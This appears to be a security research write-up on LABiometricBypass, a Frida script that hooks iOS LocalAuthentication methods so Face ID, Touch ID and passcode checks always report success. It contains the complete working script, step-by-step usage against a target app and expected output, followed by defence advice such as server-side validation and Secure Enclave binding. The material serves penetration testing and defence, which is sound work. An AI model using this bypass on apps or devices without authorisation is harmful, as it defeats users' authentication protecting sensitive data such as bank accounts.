LABiometricBypass: Bypassing iOS Biometric Authentication
A comprehensive analysis of bypassing iOS biometric and passcode authentication using dynamic instrumentation. This research explores the LocalAuthentication framework and demonstrates practical bypass techniques for security testing.
Overview
LABiometricBypass is a Frida script designed to bypass biometric and passcode authentication prompts in iOS/macOS applications using the LocalAuthentication framework. This tool specifically targets the canEvaluatePolicy:error:
and evaluatePolicy:localizedReason:reply:
methods, which are the core components of Apple's biometric authentication system.
What Does This Mean?
Think of it like this: Many iOS apps use Face ID, Touch ID, or device passcodes to protect sensitive features. These apps ask the device "can you authenticate the user?" and then "please authenticate the user now." LABiometricBypass intercepts these questions and always answers "yes, authentication is available" and "yes, authentication was successful" - even when no actual authentication occurred.
Why Is This Important?
- Security Research: Allows researchers to test apps that require biometric authentication
- Penetration Testing: Enables security assessments of protected app features
- Development Testing: Helps developers test authentication flows without physical biometrics
- Security Awareness: Demonstrates the importance of server-side validation
Background: LocalAuthentication Framework
How iOS Biometric Authentication Works
iOS applications implement device-level authentication controls using Apple's LocalAuthentication framework. The process typically involves two key methods:
1. Policy Evaluation Check
The canEvaluatePolicy:error:
method determines whether biometric or passcode authentication is available on the device:
- Checks if Face ID, Touch ID, or passcode is set up
- Verifies the device supports the requested authentication type
- Returns
true
if authentication can be performed
2. Authentication Execution
The evaluatePolicy:localizedReason:reply:
method performs the actual authentication:
- Displays the biometric prompt to the user
- Handles the authentication result
- Executes a reply closure with the success/failure status
Common Authentication Policies
// Common policy values used in iOS apps
LAPolicyDeviceOwnerAuthenticationWithBiometrics = 1
// Face ID or Touch ID only
LAPolicyDeviceOwnerAuthentication = 2
// Face ID, Touch ID, or device passcode
LAPolicyDeviceOwnerAuthenticationWithWatch = 3
// Apple Watch authentication
LAPolicyDeviceOwnerAuthenticationWithBiometricsOrWatch = 4
// Biometrics or Apple Watch
Implementation Pattern
Most iOS apps follow this authentication flow:
// Swift implementation example
let context = LAContext()
var error: NSError?
// Step 1: Check if authentication is available
if context.canEvaluatePolicy(.deviceOwnerAuthentication, error: &error) {
// Step 2: Perform authentication
context.evaluatePolicy(.deviceOwnerAuthentication,
localizedReason: "Please authenticate") { success, error in
if success {
// Authentication successful - proceed with protected feature
self.showProtectedContent()
} else {
// Authentication failed - show error
self.showAuthenticationError()
}
}
} else {
// Authentication not available - fallback to passcode
self.fallbackToPasscode()
}
Technical Analysis
Understanding the Attack Surface
The LocalAuthentication framework provides a convenient API for biometric authentication, but it relies entirely on client-side validation. This creates a significant security vulnerability when the client environment can be manipulated.
Vulnerability Analysis
The authentication flow has two critical points of failure:
- Policy Availability Check:
canEvaluatePolicy:error:
determines if authentication is possible - Authentication Result:
evaluatePolicy:localizedReason:reply:
provides the actual authentication status
Reverse Engineering the Framework
To understand how to bypass these methods, we need to analyse the LocalAuthentication framework:
1. Framework Analysis
# Locate the LocalAuthentication framework
find /System -name "LocalAuthentication.framework" 2>/dev/null
# Analyse the framework binary
otool -L /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
# Extract class information
otool -ov /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication | grep -A 10 "LAContext"
# View method implementations
strings /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication | grep -i "evaluate\|policy"
2. Method Signature Analysis
The key methods we need to understand:
// LAContext class methods
@interface LAContext : NSObject
// Check if policy can be evaluated
- (BOOL)canEvaluatePolicy:(LAPolicy)policy error:(NSError **)error;
// Evaluate the policy with user interaction
- (void)evaluatePolicy:(LAPolicy)policy
localizedReason:(NSString *)localizedReason
reply:(void (^)(BOOL success, NSError *error))reply;
// Additional methods
- (void)invalidate;
- (BOOL)isCredentialSet:(LACredentialType)credentialType;
- (void)setCredential:(NSData *)credential type:(LACredentialType)type;
@end
Implementation: LABiometricBypass
Development Approach
The development of LABiometricBypass involved understanding the LocalAuthentication framework and creating targeted bypasses for both authentication stages:
Phase 1: Method Identification
Based on the framework analysis, we identified the key methods to hook:
- canEvaluatePolicy:error: Determines if authentication is available
- evaluatePolicy:localizedReason:reply: Performs the actual authentication
Phase 2: Bypass Strategy
The bypass strategy involves two stages:
- Availability Bypass: Force
canEvaluatePolicy
to always returntrue
- Authentication Bypass: Intercept
evaluatePolicy
and immediately call the reply block with success
Complete Frida Script Implementation
Here's the production-ready implementation:
if (ObjC.available) {
try {
const laContext = ObjC.classes.LAContext;
// Hook canEvaluatePolicy:error:
const canEval = laContext["- canEvaluatePolicy:error:"];
Interceptor.attach(canEval.implementation, {
onEnter: function (args) {
const policy = args[2].toInt32();
console.log("[*] canEvaluatePolicy called with policy: " + policy);
},
onLeave: function (retval) {
console.log("[*] Bypassing canEvaluatePolicy – returning YES");
retval.replace(1); // Force true
}
});
// Hook evaluatePolicy:localizedReason:reply:
const evalPolicy = laContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(evalPolicy.implementation, {
onEnter: function (args) {
const reason = new ObjC.Object(args[3]);
console.log("[*] evaluatePolicy called. Reason: " + reason.toString());
this.reply = new ObjC.Block(args[4]); // Save the reply block
},
onLeave: function (retval) {
console.log("[*] Bypassing biometric/passcode prompt.");
this.reply.implementation(1, ptr("0x0")); // Call reply with success
}
});
console.log("[+] Frida biometric/passcode bypass hooks installed.");
} catch (err) {
console.error("[-] Hook error: " + err.message);
}
} else {
console.error("[-] Objective-C runtime is not available.");
}
How the Bypass Works
The script operates by intercepting method calls at the Objective-C runtime level:
1. Availability Check Bypass
// Original app call
if (context.canEvaluatePolicy(.deviceOwnerAuthentication, error: &error)) {
// This will always be true due to our hook
}
// Our hook intercepts the call
Interceptor.attach(canEval.implementation, {
onLeave: function (retval) {
retval.replace(1); // Always return true
}
});
2. Authentication Bypass
// Original app call
context.evaluatePolicy(.deviceOwnerAuthentication,
localizedReason: "Please authenticate") { success, error in
if success {
// This will always execute due to our hook
self.showProtectedContent()
}
}
// Our hook intercepts the call
Interceptor.attach(evalPolicy.implementation, {
onEnter: function (args) {
this.reply = new ObjC.Block(args[4]); // Capture reply block
},
onLeave: function (retval) {
this.reply.implementation(1, ptr("0x0")); // Call with success
}
});
Key Design Decisions
Several important decisions were made during development:
1. Return Value Strategy
For canEvaluatePolicy
, we return 1
(true) to indicate authentication is always available:
- Consistency: Ensures the app believes authentication is possible
- Compatibility: Works with all authentication policy types
- Reliability: Avoids potential issues with different return value types
2. Reply Block Strategy
For evaluatePolicy
, we immediately call the reply block with success:
- Immediate Response: No user interaction required
- Success Status: Always returns
success = true
- No Error: Passes
null
for the error parameter
3. Error Handling
Robust error handling for different scenarios:
- Class Availability: Check if LAContext class exists
- Method Availability: Verify methods exist before hooking
- Runtime Availability: Ensure Objective-C runtime is available
- Exception Handling: Try-catch blocks for unexpected errors
Usage Guide
What Does This Look Like in Practice?
Here's a real-world scenario: You're testing a banking app that requires Face ID to access account details. Without LABiometricBypass, you'd need to actually authenticate with Face ID each time. With LABiometricBypass, the app thinks you've successfully authenticated even without any biometric input.
Prerequisites
- Jailbroken iOS device
- Frida server running on the device
- Frida client installed on your computer
- Target app that uses LocalAuthentication framework
Step-by-Step Instructions
1. Install Frida
# On your computer
pip install frida-tools
# On the jailbroken device (via Cydia/Sileo)
# Add Frida repository and install frida-server
2. Start Frida Server
# On the device
frida-server
3. Launch Target App
# On your computer
frida -U -f com.example.app -l LABiometricBypass.js
Expected Output
Spawning `com.example.app`...
[+] Frida biometric/passcode bypass hooks installed.
Spawned `com.example.app`. Resuming main thread!
[iPhone::com.example.app ]-> [*] canEvaluatePolicy called with policy: 2
[*] Bypassing canEvaluatePolicy – returning YES
[*] evaluatePolicy called. Reason: Please authenticate to access your account
[*] Bypassing biometric/passcode prompt.
What the Output Means
Each line provides insight into the bypass process:
canEvaluatePolicy called with policy: 2
- The app is checking if device authentication is availableBypassing canEvaluatePolicy – returning YES
- Our script forces it to return trueevaluatePolicy called. Reason: ...
- The app is requesting authenticationBypassing biometric/passcode prompt.
- Our script bypasses the actual authentication
Technical Deep Dive
How Does the Bypass Work?
At its core, LABiometricBypass works by intercepting function calls in the LocalAuthentication framework. When an app tries to check if biometric authentication is available or requests authentication, our script steps in and provides fake "success" responses.
Method Hooking Mechanism
The script uses Frida's powerful hooking capabilities to intercept method calls:
canEvaluatePolicy Hook
Interceptor.attach(canEval.implementation, {
onEnter: function (args) {
const policy = args[2].toInt32();
console.log("[*] canEvaluatePolicy called with policy: " + policy);
},
onLeave: function (retval) {
console.log("[*] Bypassing canEvaluatePolicy – returning YES");
retval.replace(1); // Force true
}
});
Key Components:
args[2]
- The policy parameter (1=biometrics, 2=biometrics+passcode, etc.)onEnter
- Logs the policy being checkedonLeave
- Forces return value to trueretval.replace(1)
- Overwrites the return value
evaluatePolicy Hook
Interceptor.attach(evalPolicy.implementation, {
onEnter: function (args) {
const reason = new ObjC.Object(args[3]);
console.log("[*] evaluatePolicy called. Reason: " + reason.toString());
this.reply = new ObjC.Block(args[4]); // Save the reply block
},
onLeave: function (retval) {
console.log("[*] Bypassing biometric/passcode prompt.");
this.reply.implementation(1, ptr("0x0")); // Call reply with success
}
});
Key Components:
args[3]
- The localized reason string shown to the userargs[4]
- The reply block that receives the authentication resultObjC.Block
- Wraps the reply block for executionimplementation(1, ptr("0x0"))
- Calls the block with success=true, error=null
Objective-C Runtime Integration
The script leverages Frida's Objective-C runtime integration:
- Accesses
ObjC.classes.LAContext
to get the LAContext class - Uses method name strings to locate implementations
- Works with instance methods (prefixed with
-
) - Handles Objective-C blocks for asynchronous callbacks
Security Implications
Why This Matters
The ability to bypass biometric authentication has significant security implications:
1. Client-Side Trust Issues
The LocalAuthentication framework relies entirely on client-side validation, which can be manipulated:
- No Server Validation: The authentication result is only validated on the device
- Runtime Manipulation: Tools like Frida can intercept and modify the results
- No Cryptographic Binding: The authentication isn't cryptographically bound to the request
2. Threat Model Considerations
This bypass is particularly relevant in these threat models:
- Jailbroken Devices: Users with elevated privileges can install bypass tools
- Malicious Apps: Apps with code injection capabilities
- Physical Access: Attackers with physical access to unlocked devices
- Development/Testing: Security researchers and penetration testers
Defence Recommendations
To mitigate these risks, consider implementing additional security measures:
1. Server-Side Validation
// Instead of trusting client-side authentication
if (localAuthentication.success) {
// This can be bypassed
showProtectedContent();
}
// Use server-side validation
if (localAuthentication.success) {
// Send authentication proof to server
server.validateBiometricAuth(proof) { serverSuccess in
if (serverSuccess) {
showProtectedContent();
}
}
}
2. Cryptographic Binding
Use the Secure Enclave for cryptographic operations:
- Key Operations: Perform sensitive operations in Secure Enclave
- Attestation: Use device attestation to verify device integrity
- Time-Based Tokens: Implement time-limited authentication tokens
3. Additional Security Layers
- Jailbreak Detection: Implement jailbreak detection alongside biometric auth
- Runtime Protection: Use anti-tampering techniques to detect Frida
- Behavioural Analysis: Monitor for suspicious authentication patterns
- Multi-Factor Authentication: Combine biometrics with other factors
Limitations and Considerations
Technical Limitations
- Requires jailbroken device
- Frida server must be running
- Only works with LocalAuthentication framework
- May not work with obfuscated binaries
- Some apps may have additional protection layers
Framework Limitations
The bypass only works with apps using the standard LocalAuthentication framework:
- Custom Implementations: Apps with custom biometric implementations won't be affected
- Server-Side Validation: Apps that validate authentication server-side are protected
- Secure Enclave Operations: Operations performed in Secure Enclave are not bypassable
Legal and Ethical Considerations
Important: This tool is intended solely for authorised security testing and educational purposes. Always ensure you have explicit permission before testing on any applications or devices you do not own or have consent to test.
Conclusion
What We Accomplished
In this research, we:
- Analysed the LocalAuthentication framework and its security model
- Identified the key methods used for biometric authentication
- Developed a Frida script that bypasses both authentication stages
- Demonstrated the importance of server-side validation
Key Technical Achievement
The main technical accomplishment was understanding that biometric authentication in iOS works by calling specific methods that return authentication results. By intercepting these method calls and forcing them to return success, we can bypass the entire authentication process without any user interaction.
LABiometricBypass demonstrates the importance of not trusting client-side authentication blindly. While LocalAuthentication provides a convenient API for biometric authentication, its security depends heavily on the client environment remaining uncompromised.
This research highlights the importance of:
- Implementing defence-in-depth strategies
- Using server-side validation for critical operations
- Understanding the limitations of client-side security
- Regular security testing and validation